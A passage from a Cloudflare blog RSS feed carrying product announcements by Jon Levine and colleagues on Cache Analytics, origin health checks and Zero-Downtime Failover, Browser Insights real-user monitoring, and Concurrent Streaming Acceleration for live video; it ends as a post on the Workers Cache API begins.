            </figure><p>“Served by Cloudflare” indicates traffic that we were able to serve from our edge without reaching your origin server. “Served by Origin” indicates traffic that was proxied back to origin servers. (It can be really satisfying to add a page rule and see the amount of traffic “Served by Cloudflare” go up!)</p><p>Note that this graph will change significantly when you switch between “Requests” and “Data Transfer.” <i>Revalidated</i> requests are particularly interesting; because Cloudflare checks with the origin before returning a result from cache, these count as “Served by Cloudflare” for the purposes of data transfer, but “Served by Origin” for the purposes of “requests.”</p>
    <div>
      <h2>Slicing the pie</h2>
      <a href="#slicing-the-pie">
        
      </a>
    </div>
    <p>After the high-level summary, we show an overview of cache status, which explains <i>why</i> traffic might be served from Cloudflare or from origin. We also show a breakdown of cache status by <i>Content-Type</i> to give an overview on how different components of your website perform:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/54lsfNe9UwuV39o5WSbahf/1cdbbbc6129d56b4b8453a5d9d350574/image3-4.png" />
            
            </figure><p>Cache statuses are also essential for understanding what you need to do to optimize cache ratios. For example:</p><ul><li><p><b><b><b>Dynamic</b></b></b> indicates that a request was never eligible for cache, and went straight to origin. This is the default for many file types, including HTML. <a href="https://support.cloudflare.com/hc/en-us/articles/360021023712-Best-Practices-Speed-up-your-Site-with-Custom-Caching-via-Cloudflare-Page-Rules">Learn more about making more content eligible for cache using page rules</a>. Fixing this is one of the fastest ways to reduce origin data transfer cost.</p></li><li><p><b><b><b>Revalidated</b></b></b> indicates content that was expired, but after Cloudflare checked the origin, it was still fresh! If you see a lot of revalidated content, it’s a good sign you should increase your Edge Cache TTLs through a <a href="https://support.cloudflare.com/hc/en-us/articles/218411427#summary-of-page-rules-settings">page rule</a> or <a href="https://support.cloudflare.com/hc/en-us/articles/115003206852-Understanding-Origin-Cache-Control">max-age origin directive</a>. Updating TTLs is one of the easiest ways to make your site faster.</p></li><li><p><b><b><b>Expired</b></b></b> resources are ones that were in our cache, but were expired. Consider if you can extend TTLs on these, or at least support revalidation at your origin.</p></li><li><p>A <b><b><b>miss</b></b></b> indicates that Cloudflare has not seen that resource recently. These can be tricky to optimize, but there are a few potential remedies: Enable <a href="https://support.cloudflare.com/hc/en-us/articles/115000224552">Argo Tiered Caching</a> to check another datacenter’s cache before going to origin, or use a <a href="https://support.cloudflare.com/hc/en-us/articles/115004290387-Creating-Cache-Keys#6aSlDJLc9DvvBv5mXc2n4O">Custom Cache Key</a> to make multiple URLs match the same cached resource (for example, by ignoring query string)</p></li></ul><p>For a full explanation of each cache status, see our <a href="https://support.cloudflare.com/hc/en-us/articles/200172516-Understanding-Cloudflare-s-CDN">help center</a>.</p>
    <div>
      <h2>To the Nth dimension</h2>
      <a href="#to-the-nth-dimension">
        
      </a>
    </div>
    <p>Finally, Cache Analytics shows a number of what we call “Top Ns” — various ways to slice and dice the above data on useful dimensions.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6zHWR6Nk3roxlDioqGsbXk/bbc1ab7260e2533d3d51368b4d20165c/image1-7.png" />
            
            </figure><p>It’s often helpful to apply filters (for example, to a specific cache status) before looking at these lists. For example, when trying to tune performance, I often filter to just “expired” or “revalidated,” then see if there are a few URLs that dominate these stats.</p>
    <div>
      <h2>But wait, there’s more</h2>
      <a href="#but-wait-theres-more">
        
      </a>
    </div>
    <p>Cache Analytics is available now for customers on our Pro, Business, and Enterprise plans. Pro customers have access to up to 3 days of analytics history. Business and Enterprise customers have access to up to 21 days, with more coming soon.</p><p>This is just the first step for Cache Analytics. We’re planning to add more dimensions to drill into the data. And we’re planning to add even more essential statistics — for example, about how cache keys are being used.</p><p>Finally, I’m really excited about Cache Analytics because it shows what we have in store for Cloudflare Analytics more broadly. We know that you’ve asked for many features— like per-hostname analytics, or the ability to see top URLs — for a long time, and we’re hard at work on bringing these to Zone Analytics. Stay tuned!</p> ]]></content:encoded>
            <category><![CDATA[Analytics]]></category>
            <category><![CDATA[Cache]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Speed & Reliability]]></category>
            <guid isPermaLink="false">37BljOR8rhXrEM8b4JsmUE</guid>
            <dc:creator>Jon Levine</dc:creator>
        </item>
        <item>
            <title><![CDATA[New tools to monitor your server and avoid downtime]]></title>
            <link>https://blog.cloudflare.com/new-tools-to-monitor-your-server-and-avoid-downtime/</link>
            <pubDate>Wed, 11 Dec 2019 10:13:00 GMT</pubDate>
            <description><![CDATA[ When your server goes down, it’s a big problem. Today, Cloudflare is introducing two new tools to help you understand and respond faster to origin downtime — plus, a new service to automatically avoid downtime. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>When your server goes down, it’s a big problem. Today, Cloudflare is introducing two new tools to help you understand and respond faster to origin downtime — plus, a new service to automatically <i>avoid</i> downtime.</p><p>The new features are:</p><ul><li><p><b>Standalone Health Checks</b>, which notify you as soon as we detect problems at your origin server, without needing a Cloudflare Load Balancer.</p></li><li><p><b>Passive Origin Monitoring</b>, which lets you know when your origin cannot be reached, with no configuration required.</p></li><li><p><b>Zero-Downtime Failover</b>, which can automatically avert failures by retrying requests to origin.</p></li></ul>
    <div>
      <h3>Standalone Health Checks</h3>
      <a href="#standalone-health-checks">
        
      </a>
    </div>
    <p>Our first new tool is Standalone Health Checks, which will notify you as soon as we detect problems at your origin server -- without needing a Cloudflare Load Balancer.</p><p>A <i>Health Check</i> is a service that runs on our edge network to monitor whether your origin server is online. Health Checks are a key part of our load balancing service because they allow us to quickly and actively route traffic to origin servers that are live and ready to serve requests. Standalone Health Checks allow you to monitor the health of your origin even if you only have one origin or do not yet need to balance traffic across your infrastructure.</p><p>We’ve provided many dimensions for you to hone in on exactly what you’d like to check, including response code, protocol type, and interval. You can specify a particular path if your origin serves multiple applications, or you can check a larger subset of response codes for your staging environment. All of these options allow you to properly target your Health Check, giving you a precise picture of what is wrong with your origin.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7vtTuksJ9p1aCImlW8G92Q/77f4673597912f4e067c567c9caa7414/image4-3.png" />
            
            </figure><p>If one of your origin servers becomes unavailable, you will receive a notification letting you know of the health change, along with detailed information about the failure so you can take action to restore your origin’s health.  </p><p>Lastly, once you’ve set up your Health Checks across the different origin servers, you may want to see trends or the top unhealthy origins. With Health Check Analytics, you’ll be able to view all the change events for a given health check, isolate origins that may be top offenders or not performing at par, and move forward with a fix. On top of this, in the near future, we are working to provide you with access to all Health Check raw events to ensure you have the detailed lens to compare Cloudflare Health Check Event logs against internal server logs.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1VYa5CvnnQFYZPtYy6HJ0D/c0b8f509411e19726998b1d6fd3f2b49/image5-3.png" />
            
            </figure><p><b>Users on the Pro, Business, or Enterprise plan will have access to Standalone Health Checks and Health Check Analytics</b> to promote top-tier application reliability and help maximize brand trust with their customers. You can access Standalone Health Checks and Health Check Analytics through the Traffic app in the dashboard.</p>
    <div>
      <h3>Passive Origin Monitoring</h3>
      <a href="#passive-origin-monitoring">
        
      </a>
    </div>
    <p>Standalone Health Checks are a super flexible way to understand what’s happening at your origin server. However, they require some forethought to configure before an outage happens. That’s why we’re excited to introduce <i>Passive</i> Origin Monitoring, which will automatically notify you when a problem occurs -- no configuration required.</p><p>Cloudflare knows when your origin is down, because we’re the ones trying to reach it to serve traffic! When we detect downtime lasting longer than a few minutes, we’ll send you an email.</p><p>Starting today, you can configure origin monitoring alerts to go to multiple email addresses. Origin Monitoring alerts are available in the new Notification Center (more on that below!) in the Cloudflare dashboard:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/KZoJ9kNRg0X8i3LJkBtZN/fd6b4d2b57d0781d495b17effd855495/image1-6.png" />
            
            </figure><p><b>Passive Origin Monitoring is available to customers on </b><a href="https://www.cloudflare.com/plans/"><b>all Cloudflare plans</b></a><b>.</b></p>
    <div>
      <h3>Zero-Downtime Failover</h3>
      <a href="#zero-downtime-failover">
        
      </a>
    </div>
    <p>What’s better than getting notified about downtime? Never having downtime in the first place! With Zero-Downtime Failover, we can automatically retry requests to origin, even before Load Balancing kicks in.</p><p>How does it work? If a request to your origin fails, and Cloudflare has another record for your origin server, we’ll just try another origin <i>within the same HTTP request</i>. The alternate record could be either an A/AAAA record configured via Cloudflare DNS, or another origin server in the same Load Balancing pool.</p><p>Consider an website, example.com, that has web servers at two different IP addresses: <code>203.0.113.1</code> and <code>203.0.113.2</code>. Before Zero-Downtime Failover, if <code>203.0.113.1</code> becomes unavailable, Cloudflare would attempt to connect, fail, and ultimately serve an error page to the user. With Zero-Downtime Failover, if <code>203.0.113.1</code> cannot be reached, then Cloudflare’s proxy will seamlessly attempt to connect to <code>203.0.113.2</code>. If the second server can respond, then Cloudflare can avert serving an error to example.com’s user.</p><p>Since we rolled Zero-Downtime Failover a few weeks ago, we’ve prevented <b>tens of millions of requests per day</b> from failing!</p><p>Zero-Downtime <a href="https://www.cloudflare.com/learning/performance/what-is-load-balancing/">Failover</a> works in conjunction with <a href="https://www.cloudflare.com/learning/performance/what-is-load-balancing/">Load Balancing</a>, Standalone Health Checks, and Passive Origin Monitoring to keep your website running without a hitch. Health Checks and Load Balancing can avert failure, but take time to kick in. Zero-Downtime failover works instantly, but adds latency on each connection attempt. In practice, Zero-Downtime Failover is helpful at the <i>start</i> of an event, when it can instantly recover from errors; once a Health Check has detected a problem, a Load Balancer can then kick in and properly re-route traffic. And if no origin is available, we’ll send an alert via Passive Origin Monitoring.</p><p>To see an example of this in practice, consider an incident from a recent customer. They saw a spike in errors at their origin that would ordinarily cause availability to plummet (red line), but thanks to Zero-Downtime failover, their actual availability stayed flat (blue line).</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2cvaHca9BEnJbZXotcJ20N/e2e930d0986728978a569df15e719f51/zdf-availability.png" />
            
            </figure><p>During a 30 minute time period, Zero-Downtime Failover improved overall availability from 99.53% to 99.98%, and prevented 140,000 HTTP requests from resulting in an error.</p><p>It’s important to note that we only attempt to retry requests that have failed during the TCP or TLS connection phase, which ensures that HTTP headers and payload have not been transmitted yet. Thanks to this safety mechanism, <b>we're able to make Zero-Downtime Failover Cloudflare's default behavior for Pro, Business, and Enterprise plans</b>. In other words, Zero-Downtime Failover makes connections to your origins more reliable with no configuration or action required.</p>
    <div>
      <h3>Coming soon: more notifications, more flexibility</h3>
      <a href="#coming-soon-more-notifications-more-flexibility">
        
      </a>
    </div>
    <p>Our customers are always asking us for more insights into the health of their critical edge infrastructure. Health Checks and Passive Origin monitoring are a significant step towards Cloudflare taking a <b>proactive</b> instead of reactive approach to insights.</p><p>To support this work, today we’re announcing the <b>Notification Center</b> as the central place to manage notifications. This is available in the dashboard today, accessible from your Account Home.</p><p>From here, you can create new notifications, as well as view any existing notifications you’ve already set up. Today’s release allows you to configure  Passive Origin Monitoring notifications, and set multiple email recipients.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3ZDuV1fp4eY29qoySlyBr2/a67bfa65849c3194b1ab990b889f66c2/image2-7.png" />
            
            </figure><p>We’re excited about today’s launches to helping our customers avoid downtime. Based on your feedback, we have lots of improvements planned that can help you get the timely insights you need:</p><ul><li><p>New notification delivery mechanisms</p></li><li><p>More events that can trigger notifications</p></li><li><p>Advanced configuration options for Health Checks, including added protocols, threshold based notifications, and threshold based status changes.</p></li><li><p>More ways to configure Passive Health Checks, like the ability to add thresholds, and filter to specific status codes</p></li></ul> ]]></content:encoded>
            <category><![CDATA[Insights]]></category>
            <category><![CDATA[Analytics]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">Uj0yC4ktYS40SSrcbwbbH</guid>
            <dc:creator>Brian Batraski</dc:creator>
            <dc:creator>Jon Levine</dc:creator>
            <dc:creator>Steven Pack</dc:creator>
        </item>
        <item>
            <title><![CDATA[Introducing Browser Insights]]></title>
            <link>https://blog.cloudflare.com/introducing-browser-insights/</link>
            <pubDate>Tue, 24 Sep 2019 13:00:00 GMT</pubDate>
            <description><![CDATA[ Speed matters. We know that when your website or app gets faster, users have a better experience and you get more conversions and more revenue. At Cloudflare, we spend our days obsessing about speed and building new features to squeeze out as much performance as possible. ]]></description>
            <content:encoded><![CDATA[ <p>Speed matters. We know that when your website or app gets faster, users have a better experience and you get more conversions and more revenue. At Cloudflare, we spend our days obsessing about speed and building new features to squeeze out as much performance as possible.</p><p>But to improve speed, you first need to measure it. That’s why we’re launching <a href="https://www.cloudflare.com/website-optimization/">Browser Insights</a>: a new tool that measures the performance of your website from the perspective of your users. Browser Insights lets you dive in to <a href="https://www.cloudflare.com/application-services/solutions/app-performance-monitoring/">understand where, when, and why web pages are slow</a>. And you can enable it today, for free, with one click.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1ZuMcXdosZupoTmlQTB0yq/1ec2dbbcef7acc8be1090ed62748dd5d/insights-option-1.png" />
            
            </figure>
    <div>
      <h2>Why did we build Browser Insights?</h2>
      <a href="#why-did-we-build-browser-insights">
        
      </a>
    </div>
    <p>Let’s say you run an <a href="https://www.cloudflare.com/ecommerce/">e-commerce site</a>, and you want to <a href="https://www.cloudflare.com/solutions/ecommerce/optimization/">make your conversion rates better</a>. You’ve noticed that there’s a lot of traffic from visitors in Peru, but they have worse conversion than users in North America. Maybe you theorize that it takes a long time to load your checkout page, which causes customers to drop off before checking out. How would you verify that this is happening?</p><p>There are a few ways you could do this: you could check your server logs to look at timing information, or you could load the page a few times in your browser to see what’s slow.</p><p>These approaches have a few downsides though:</p><ul><li><p>If you only look at server-side data, you miss factors that impact the end-user experience -- how long did it take for the web browser to load all the necessary scripts, execute them, and paint the page?</p></li><li><p>If you only measure from one computer (or a small number of them), you miss the diversity of the computing population -- for example, “how does this work on a phone on a 3G connection?”</p></li></ul><p>To solve these problems, we use <i>Real User Monitoring</i>. This gives us the best of both worlds: we can run a timer inside real web browsers. This timer captures how long it takes web pages to load, from your actual users.</p>
    <div>
      <h2>How does it work?</h2>
      <a href="#how-does-it-work">
        
      </a>
    </div>
    <p>Browser Insights can be enabled with the flip of a switch in the “Speed” section of the dashboard:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5aYL5ude7wI1XAtraBJOpO/8eb784dea9c2c2e2b99c38cc29a3a76d/pasted-image-0--3-.png" />
            
            </figure><p>When it’s enabled, we add a small snippet of JavaScript code to each HTML page load that uses the standard <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance">Performance API</a> to collect timing info. Then we can start showing you metrics about how your web pages are performing in the real world:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3lqfAafronjSuidVMbu9eF/a8e2a3405d7c7b9d0556b7e23e04d973/pasted-image-0--2-.png" />
            
            </figure><p>There’s a lot of info in this graph! At a high level, there are two main types of metrics</p><ul><li><p><b>Request-level</b> metrics like TCP connection time, or Request time. These metrics are counted on every page load and are impacted by Internet infrastructure, like the mobile network of your end users, or the speed of your servers.</p></li><li><p><b>Page-level</b> metrics like Page Load Time, which take into account the many requests needed to load a web page, plus the time taken to parse HTML and execute JavaScript.</p></li></ul><p>For more information about what these times mean and how we chose them, see <a href="/browser-performance-api">our companion blog post</a>.</p>
    <div>
      <h2>Digging into the data</h2>
      <a href="#digging-into-the-data">
        
      </a>
    </div>
    <p>In addition to seeing several <i>metrics</i> about your web page performance, it’s helpful to drill into the <i>dimensions</i> that impact performance like URL and Country. This means you can filter down to the performance of a specific page (like your home page or checkout page), and you can see the locations where your site loads the fastest and slowest.</p><p>Going back to our example above, we want to see how performance in Peru compares to North America:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2Olaop2W2UAmZUjcvoqHTZ/89161726f13168676d50f28863f97efc/pasted-image-0--1--1.png" />
            
            </figure><p>Sure enough, we can confirm that there’s significant traffic from Peru, but web pages take about 13s to load on average -- compared with just 4.2 seconds for users in the US. Theory confirmed!  Now we can filter all of our metrics to just Peru to understand what’s happening better:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/YIGywjdEhgzEKm3j1AqYJ/96dfce7b4666fb9e072e72c9269313aa/pasted-image-0-1.png" />
            
            </figure><p>Note that “Processing” has increased the most, all the way to 12 seconds. Request times are higher as well, likely because we are connecting to an origin server in the US. Web pages are made of many individual requests, so it makes sense that, when combined, they lead to slower load times. In this example, caching faster content would probably lead to significantly better page loads.</p>
    <div>
      <h2>What’s coming next?</h2>
      <a href="#whats-coming-next">
        
      </a>
    </div>
    <p>Our launch today is just the tip of the iceberg for Browser Insights. In the near future we want to add much more information that will help you understand exactly what’s slowing down your website, and what you can do to make it faster. We plan to add:</p><ul><li><p><b>More metrics and dimensions</b>, including page-level metrics like Time to First Paint and more dimensions like browser and network type</p></li><li><p><b><b><b>Subresource analytics</b></b></b><b><b>.</b></b> The average web page loads over 100 subresources, and we can provide a waterfall chart to show exactly which one is slow.</p></li><li><p><b>A/B testing,</b> to show you how potential configuration changes will impact the performance of your own traffic</p></li><li><p><b><b><b>Error collection</b></b></b> to monitor issues at the network layer, in JavaScript, etc</p></li><li><p><b><b><b>Alerting</b></b></b> so that you know when performance falls below a pre-defined threshold</p></li><li><p><b><b><b>Insights powered by Cloudflare</b></b></b> that tell you <i>why</i> something might be slow – for example, how your cache hit ratio impacts page load time</p></li></ul>
    <div>
      <h2>Protecting user privacy</h2>
      <a href="#protecting-user-privacy">
        
      </a>
    </div>
    <p>Cloudflare’s mission to help build a better Internet is based on the importance we place on establishing trust with our customers, our customers’ end users, and the Internet community globally. We have a transparent business model that aligns with the interests of our customers -- we make money from protecting and speeding up our customers’ Internet properties. We do not sell our customers’ (or their end users’) data.</p><p>Browser Insights requires that end users’ browsers report timing information back to Cloudflare. We designed Browser Insights so that it reports only the bare-minimum information needed to show our customers how their websites are performing. The only metrics Browser Insights collects are about timing. We do not track individual end users across our customers’ Internet properties. We encourage you to open up the Inspector in your favorite web browser to see what we’re sending back!</p>
    <div>
      <h2>Try Browser Insights today</h2>
      <a href="#try-browser-insights-today">
        
      </a>
    </div>
    <p>Last May we announced the all-new <a href="/new-speed-page/">Speed Page</a>. Our mission with the Speed page is to show you how fast your website is, and what you can do to make it faster. Today, we’re excited to announce that the new Speed Page is available for everyone!</p><p>Browser Insights will be available on the Speed page in early access and we’ll be working hard to bring it to everyone as soon as possible in the coming weeks. Watch this space for updates!</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7hJnhW0T4YbbwNiJc0MTmL/d1cd8a6ac2944ee4c1082c44c20b5d48/zbVUo9ueL7h8vV_IvDhqK75p2XnT2FStCkTTKfUgwyX7DuyzkEf72Jd_rtYlXO1NT9pLG6r-FOtlRiurpal9TlJIi7pwi5aswjzd7tZUkmV8bFhZaqN28cvLCxfu.png" />
            
            </figure><hr /><p><a href="/subscribe/"><i>Subscribe to this blog</i></a><i> for daily updates on all our Birthday Week announcements.</i></p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Analytics]]></category>
            <category><![CDATA[Speed & Reliability]]></category>
            <guid isPermaLink="false">5ir7iWL75R6XbhfgLxz8J1</guid>
            <dc:creator>Jon Levine</dc:creator>
        </item>
        <item>
            <title><![CDATA[Live video just got more live: Introducing Concurrent Streaming Acceleration]]></title>
            <link>https://blog.cloudflare.com/introducing-concurrent-streaming-acceleration/</link>
            <pubDate>Thu, 16 May 2019 13:00:00 GMT</pubDate>
            <description><![CDATA[ Today we’re excited to introduce Concurrent Streaming Acceleration, a new technique for reducing the end-to-end latency of live video on the web when using Stream Delivery. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Today we’re excited to introduce Concurrent Streaming Acceleration, a new technique for reducing the end-to-end latency of live video on the web when using <a href="https://www.cloudflare.com/products/stream-delivery/">Stream Delivery</a>.</p><p>Let’s dig into live-streaming latency, why it’s important, and what folks have done to improve it.</p>
    <div>
      <h3>How “live” is “live” video?</h3>
      <a href="#how-live-is-live-video">
        
      </a>
    </div>
    <p>Live streaming makes up an increasing share of video on the web. Whether it’s a TV broadcast, a live game show, or an online classroom, users expect video to arrive quickly and smoothly. And the promise of “live” is that the user is seeing events as they happen. But just how close to “real-time” is “live” Internet video?</p><p>Delivering live video on the Internet is still <i>hard</i> and adds lots of latency:</p><ol><li><p>The content source records video and sends it to an encoding server;</p></li><li><p>The origin server transforms this video into a format like DASH, HLS or CMAF that can be delivered to millions of devices efficiently;</p></li><li><p>A <a href="https://www.cloudflare.com/learning/cdn/what-is-a-cdn/">CDN</a> is typically used to deliver encoded video across the globe</p></li><li><p>Client players decode the video and render it on the scree</p></li></ol>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/40U4L4lZHzdpS4NiSGbscr/43773418e54f5f8e58c1d7427dfe531a/Content-Processing.jpg" />
            
            </figure><p>And all of this is under a time constraint — the whole process need to happen in a few seconds, or video experiences will suffer. We call the total delay between when the video was shot, and when it can be viewed on an end-user’s device, as “end-to-end latency” (think of it as the time from the camera lens to your phone’s screen).</p>
    <div>
      <h3>Traditional segmented delivery</h3>
      <a href="#traditional-segmented-delivery">
        
      </a>
    </div>
    <p>Video formats like DASH, HLS, and CMAF work by splitting video into small files, called “segments”. A typical segment duration is 6 seconds.</p><p>If a client player needs to wait for a whole 6s segment to be encoded, sent through a CDN, and then decoded, it can be a long wait! It takes even longer if you want the client to build up a buffer of segments to protect against any interruptions in delivery. A typical player buffer for HLS is 3 segments:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4tcODrUGXuyxbAcxPWiF4g/d148c796c8cc6e0ca2a7130c036691d2/Buffering.png" />
            
            </figure><p>_Clients may have to buffer three 6-second chunks, introducing at least 18s of latency_‌‌</p><p>When you consider encoding delays, it’s easy to see why live streaming latency on the Internet has typically been about 20-30 seconds. We can do better.</p>
    <div>
      <h3>Reduced latency with chunked transfer encoding</h3>
      <a href="#reduced-latency-with-chunked-transfer-encoding">
        
      </a>
    </div>
    <p>A natural way to solve this problem is to enable client players to start playing the chunks while they’re downloading, or even while they’re still being created. Making this possible requires a clever bit of cooperation to encode and deliver the files in a particular way, known as “chunked encoding.” This involves splitting up segments into smaller, bite-sized pieces, or “chunks”. Chunked encoding can typically bring live latency down to 5 or 10 seconds.</p><p>Confusingly, the word “chunk” is overloaded to mean two different things:</p><ol><li><p>CMAF or HLS chunks, which are small pieces of a segment (typically 1s) that are aligned on key frames</p></li><li><p>HTTP chunks, which are just a way of delivering any file over the web</p></li></ol>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1DXyeaG7liLUlMff7v32vq/e1cbb7a57139f17a35fe0ad71a245c76/Chunked-Encoding.png" />
            
            </figure><p><i>Chunked Encoding splits segments into shorter chunks</i></p><p>HTTP chunks are important because web clients have limited ability to process streams of data. Most clients can only work with data once they’ve received the full HTTP response, or at least a complete HTTP chunk. By using HTTP chunked transfer encoding, we enable video players to start parsing and decoding video sooner.</p><p>CMAF chunks are important so that decoders can actually <i>play</i> the bits that are in the HTTP chunks. Without encoding video in a careful way, decoders would have random bits of a video file that can’t be played.</p>
    <div>
      <h3>CDNs can introduce additional buffering</h3>
      <a href="#cdns-can-introduce-additional-buffering">
        
      </a>
    </div>
    <p>Chunked encoding with HLS and CMAF is growing in use across the web today. Part of what makes this technique great is that HTTP chunked encoding is widely supported by CDNs – it’s been part of the HTTP spec for 20 years.</p><p>CDN support is critical because it allows low-latency live video to scale up and reach audiences of thousands or millions of concurrent viewers – something that’s currently very difficult to do with other, non-HTTP based protocols.</p><p>Unfortunately, even if you enable chunking to optimise delivery, <a href="https://www.cloudflare.com/learning/cdn/common-cdn-issues/">your CDN may be working against you</a> by buffering the entire segment. To understand why consider what happens when many people request a live segment at the same time:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/72cAKXFSt7jASVx88HncQH/70ac4a2acffeeab6fc60cd2e797392af/Bulk-Request.jpg" />
            
            </figure><p>If the file is already in cache, great! CDNs do a great job at delivering cached files to huge audiences. But what happens when the segment isn’t in cache yet? Remember – this is the typical request pattern for live video!</p><p>Typically, CDNs are able to “stream on cache miss” from the origin. That looks something like this:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/35E6JRDF51cSyaVMo1Rcuy/22abf6d762e78238356adf0920151fed/Stream-On-Cache-Misse.jpg" />
            
            </figure><p>But again – what happens when multiple people request the file at once? CDNs typically need to <b>pull the entire file into cache before serving additional viewers</b>:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/Qx4ILMftvAnN3zSx0KEll/843373561c266f0f005174d305a50e73/One-at-a-Time.jpg" />
            
            </figure><p><i>Only one viewer can stream video, while other clients wait for the segment to buffer at the CDN</i></p><p>This behavior is understandable. CDN data centers consist of many servers. To avoid overloading origins, these servers typically coordinate amongst themselves using a “cache lock” (mutex) that allows only one server to request a particular file from origin at a given time. A side effect of this is that while a file is being pulled into cache, it can’t be served to any user other than the first one that requested it. Unfortunately, this cache lock also defeats the purpose of using chunked encoding!</p><p>To recap thus far:</p><ul><li><p>Chunked encoding splits up video segments into smaller pieces</p></li><li><p>This can reduce end-to-end latency by allowing chunks to be fetched and decoded by players, even while segments are being produced at the origin server</p></li><li><p>Some CDNs neutralize the benefits of chunked encoding by <b>buffering entire files inside the CDN</b> before they can be delivered to clients</p></li></ul>
    <div>
      <h3>Cloudflare’s solution: Concurrent Streaming Acceleration</h3>
      <a href="#cloudflares-solution-concurrent-streaming-acceleration">
        
      </a>
    </div>
    <p>As you may have guessed, we think we can do better. Put simply, we now have the ability to deliver un-cached files to <b>multiple clients simultaneously</b> while we pull the file once from the origin server.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/36X1svqoltq5egyP8fP5r2/68308cf8299e2e779973d42155e2e4ec/Simultaneously.jpg" />
            
            </figure><p>This sounds like a simple change, but there’s a lot of subtlety to do this safely. Under the hood, we’ve made deep changes to our caching infrastructure to remove the cache lock and enable multiple clients to be able to safely read from a single file while it’s still being written.</p><p>The best part is – all of Cloudflare now works this way! There’s no need to opt-in, or even make a config change to get the benefit.</p><p>We rolled this feature out a couple months ago and have been really pleased with the results so far. We measure success by the “cache lock wait time,” i.e. how long a request must wait for other requests – a direct component of Time To First Byte.  One OTT customer saw this metric drop from 1.5s at P99 to nearly 0, as expected:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3ktb7f6UjResqOyWSoncyc/384471208538afdbea9134a592fe9107/Speed-Improvement.png" />
            
            </figure><p>This directly translates into a 1.5-second improvement in end-to-end latency. Live video just got more live!</p>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>New techniques like chunked encoding have revolutionized live delivery, enabling publishers to deliver low-latency live video at scale. Concurrent Streaming Acceleration helps you unlock the power of this technique at your CDN, potentially shaving precious seconds of end-to-end latency.</p><p>If you’re interested in using Cloudflare for live video delivery, <a href="https://www.cloudflare.com/plans/enterprise/contact/">contact our enterprise sales team</a>.</p><p>And if you’re interested in working on projects like this and helping us improve live video delivery for the entire Internet, join our <a href="https://www.cloudflare.com/careers/jobs/?department=Engineering">engineering team</a>!</p> ]]></content:encoded>
            <category><![CDATA[Speed Week]]></category>
            <category><![CDATA[Cloudflare Stream]]></category>
            <category><![CDATA[Video]]></category>
            <category><![CDATA[Speed & Reliability]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">P1XJJdAGNKbuKC5drbFJK</guid>
            <dc:creator>Jon Levine</dc:creator>
        </item>
        <item>
            <title><![CDATA[Introducing the Workers Cache API: Giving you control over how your content is cached]]></title>
            <link>https://blog.cloudflare.com/introducing-the-workers-cache-api-giving-you-control-over-how-your-content-is-cached/</link>
            <pubDate>Fri, 25 Jan 2019 15:33:41 GMT</pubDate>
            <description><![CDATA[ At Cloudflare, we aim to make the Internet faster and safer for everyone. One way we do this is through caching: we keep a copy of our customer content in our 165 data centers around the world. This brings content  closer to users and reduces traffic back to origin servers. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>At Cloudflare, we aim to make the Internet faster and safer for everyone. One way we do this is through <i>caching:</i> we keep a copy of our customer content in our 165 data centers around the world. This brings content  closer to users and reduces traffic back to <a href="https://www.cloudflare.com/learning/cdn/glossary/origin-server/">origin servers</a>.</p><p>Today, we’re excited to announce a huge change in our how cache works. <a href="https://www.cloudflare.com/products/cloudflare-workers/">Cloudflare Workers</a> now integrates the <a href="https://developers.cloudflare.com/workers/reference/cache-api/">Cache API</a>, giving you programmatic control over our caches around the world.</p>
    <div>
      <h3>Why the Cache API?</h3>
      <a href="#why-the-cache-api">
        
      </a>
    </div>
    <p>Figuring out what to cache and how can get complicated. Consider an e-commerce site with a shopping cart, a Content Management System (CMS) with many templates and hundreds of articles, or a GraphQL API. Each contains a mix of elements that are dynamic for some users, but might stay unchanged for the vast majority of requests.</p><p>Over the last 8 years, we’ve added more features to give our customers flexibility and control over what goes in the cache. However, we’ve learned that we need to offer more than just adding settings in our dashboard. Our customers have told us clearly that they want to be able to express their ideas in <i>code</i>, to build things we could never have imagined.</p>
    <div>
      <h3>How the Cache API works</h3>
      <a href="#how-the-cache-api-works">
        
      </a>
    </div>
